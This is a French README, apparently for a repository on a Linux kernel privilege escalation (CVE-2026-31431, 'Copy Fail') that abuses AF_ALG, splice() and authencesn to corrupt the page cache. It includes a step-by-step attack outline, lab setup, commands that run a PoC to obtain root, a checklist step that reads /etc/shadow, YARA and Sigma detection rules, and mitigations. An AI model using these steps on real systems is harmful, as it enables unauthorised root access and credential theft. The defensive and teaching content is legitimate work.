Utilisateur non privilégié  ──►  AF_ALG + splice()  ──►  Écriture de 4 octets dans le cache de pages  ──►  ROOT

AF_ALG (API crypto espace utilisateur)
└── module algif_aead
    └── template authencesn  ◄── VULNÉRABLE
        └── optimisation in-place (2017)
            └── req->src == req->dst  ◄── pages de splice() chaînées dans le scatterlist dst inscriptible

Étape 1 : Ouvrir une socket AF_ALG AEAD
        socket(AF_ALG, SOCK_SEQPACKET, 0)

Étape 2 : Envoyer des pages splice() référençant le fichier cible
        (pages du cache de pages d'un binaire privilégié, par exemple /usr/bin/sudo)

Étape 3 : Déclencher l'écriture scratch authencesn
        authencesn utilise le tampon dst comme zone de travail →
        écrit 4 octets contrôlés au-delà de la zone de sortie légitime

Étape 4 : L'entrée du cache de pages pour le fichier cible est maintenant corrompue
        (fichier disque intact — seule la copie en mémoire est modifiée)

Étape 5 : Exécuter le binaire modifié → ROOT

# Corrigé dans le commit : a664bf3d603d
git show a664bf3d603d

CVE-2026-31431-CopyFail/
│
├── 📄 README.md                          ← Vous êtes ici
├── 📄 LICENSE                            ← Licence recherche/éducation
├── 📄 DISCLAIMER.md                      ← Politique d'utilisation légale et éthique
├── 📄 CHANGELOG.md                       ← Historique des versions
│
├── 📂 docs/
│   ├── vulnerability-analysis.md         ← Analyse approfondie : cause racine et mécanismes
│   ├── exploitation-walkthrough.md       ← Méthodologie pas à pas
│   ├── affected-kernels.md               ← Matrice complète des versions noyau/distributions
│   ├── detection.md                      ← Couverture défenseur, Tenable, Wazuh
│   └── references.md                     ← Tous les CVE, blogs, avis
│
├── 📂 exploit/
│   ├── README.md                         ← Utilisation, prérequis, distributions testées
│   ├── copyfail.py                       ← PoC de référence (éducatif)
│   ├── trigger.c                         ← Déclencheur C pour AF_ALG + splice()
│   └── variants/
│       ├── ubuntu.py                     ← Variante spécifique Ubuntu
│       ├── rhel.py                       ← Variante RHEL/CentOS
│       └── amazon_linux.py              ← Variante Amazon Linux
│
├── 📂 detection/
│   ├── yara/
│   │   └── copyfail.yar                  ← Règle YARA pour artefacts d'exploit
│   ├── sigma/
│   │   └── copyfail_lpe.yml              ← Règle Sigma pour SIEM/SOC
│   └── scripts/
│       ├── check_vulnerable.sh           ← Vérification rapide de la vulnérabilité du noyau
│       └── detect_algif_aead.sh         ← Vérifie si le module est chargé/actif
│
├── 📂 mitigation/
│   ├── README.md                         ← Aperçu des mesures d'atténuation
│   ├── disable_algif_aead.sh             ← Désactive le module noyau affecté
│   ├── patch-notes.md                    ← Détails du correctif en amont
│   └── kubernetes-hardening.md          ← Durcissement K8s / conteneurs
│
├── 📂 lab/
│   ├── Vagrantfile                       ← VM vulnérable reproductible
│   ├── setup.sh                          ← Script d'amorçage du laboratoire
│   └── docker/
│       └── Dockerfile                    ← Conteneur Ubuntu vulnérable
│
├── 📂 reports/
│   ├── pentest-report-template.md        ← Modèle de rapport prêt pour le client
│   └── sample-finding.md                ← Exemple de rédaction de constatation
│
└── 📂 assets/
    ├── demo.gif                          ← (Optionnel) démo terminal
    └── diagrams/
        └── page-cache-write.png         ← Schéma du flux d'attaque

# Cloner le dépôt
git clone https://github.com/0xFuffM3/CVE-2026-31431-CopyFail.git
cd CVE-2026-31431-CopyFail

# Démarrer la VM vulnérable du laboratoire
cd lab/
vagrant up

# Se connecter en SSH au laboratoire
vagrant ssh

# Vérifier la version du noyau (devrait être vulnérable)
uname -r

cd lab/docker/

# Construire l'image du conteneur vulnérable
docker build -t copyfail-lab .

# Exécuter avec les privilèges nécessaires pour l'interaction avec le noyau
docker run --rm -it --privileged copyfail-lab /bin/bash

# Exécuter le script de vérification rapide
chmod +x detection/scripts/check_vulnerable.sh
./detection/scripts/check_vulnerable.sh

[!] Version du noyau : 5.15.0-91-generic
[!] Module algif_aead : CHARGÉ
[✗] Le système semble VULNÉRABLE à CVE-2026-31431 (Copy Fail)
[*] Action recommandée : Appliquer la mise à jour du noyau ou désactiver algif_aead

[✓] Version du noyau : 6.1.132
[✓] Le système semble CORRIGÉ contre CVE-2026-31431 (Copy Fail)

# Python 3.6+
python3 --version

# Modules noyau requis présents
lsmod | grep algif_aead

# Vérifier que le binaire cible est lisible
ls -la /usr/bin/sudo

cd exploit/

# Vérifier le niveau de privilège actuel
id
# uid=1000(user) gid=1000(user) groups=1000(user)

# Exécuter le PoC Copy Fail
python3 copyfail.py

# Vérifier l'escalade de privilèges
id
# uid=0(root) gid=0(root) groups=0(root)

1. Énumérer la version du noyau
   └─► uname -r / cat /proc/version

2. Vérifier si algif_aead est chargé
   └─► lsmod | grep algif_aead

3. Confirmer le point d'accès à faible privilège
   └─► id / whoami

4. Exécuter le PoC Copy Fail
   └─► python3 exploit/copyfail.py

5. Vérifier l'accès root
   └─► id && cat /etc/shadow

6. Documenter les preuves
   └─► Capture d'écran + enregistrer version du noyau, distribution, hash de l'exploit

7. Appliquer les mesures d'atténuation (après test)
   └─► sudo bash mitigation/disable_algif_aead.sh

8. Inclure dans le rapport de test d'intrusion
   └─► Utiliser reports/pentest-report-template.md

// detection/yara/copyfail.yar
rule CopyFail_CVE_2026_31431 {
    meta:
        description = "Détecte les artefacts de l'exploit Copy Fail (CVE-2026-31431)"
        author      = "0xFuffM3"
        date        = "2026-04-30"
        reference   = "https://copy.fail"
    strings:
        $py1 = "algif_aead" ascii
        $py2 = "AF_ALG" ascii
        $py3 = "splice" ascii
        $py4 = "page_cache" ascii
        $py5 = "authencesn" ascii
    condition:
        3 of them
}

yara detection/yara/copyfail.yar /tmp/ -r

# detection/sigma/copyfail_lpe.yml
title: Exécution de l'exploit LPE Copy Fail (CVE-2026-31431)
status: stable
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        CommandLine|contains:
            - 'AF_ALG'
            - 'algif_aead'
            - 'authencesn'
    condition: selection
falsepositives:
    - Tests légitimes d'API crypto
level: high

chmod +x detection/scripts/detect_algif_aead.sh
./detection/scripts/detect_algif_aead.sh

# Ubuntu / Debian
sudo apt-get update && sudo apt-get upgrade linux-image-generic

# RHEL / CentOS
sudo yum update kernel

# Amazon Linux
sudo yum update kernel

# Après la mise à jour, redémarrer
sudo reboot

# Exécuter le script d'atténuation
chmod +x mitigation/disable_algif_aead.sh
sudo bash mitigation/disable_algif_aead.sh

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || echo "[*] Module actuellement non chargé"
echo "[✓] algif_aead désactivé. Redémarrer pour confirmer la persistance."

Constatation : Escalade de privilèges locale via Copy Fail (CVE-2026-31431)
Gravité :     ÉLEVÉE (CVSS 7.8)
Hôte :        10.10.10.55 (ubuntu-prod-01)
Noyau :       5.15.0-91-generic

Preuves :
  - Shell non privilégié (uid=1000) élevé à root (uid=0)
  - Module noyau algif_aead confirmé chargé
  - Aucun artefact disque — seulement le cache de pages

Recommandation :
  1. Appliquer immédiatement le correctif du noyau du fournisseur
  2. Transition : désactiver le module algif_aead
  3. Examiner les nœuds Kubernetes et les exécuteurs CI/CD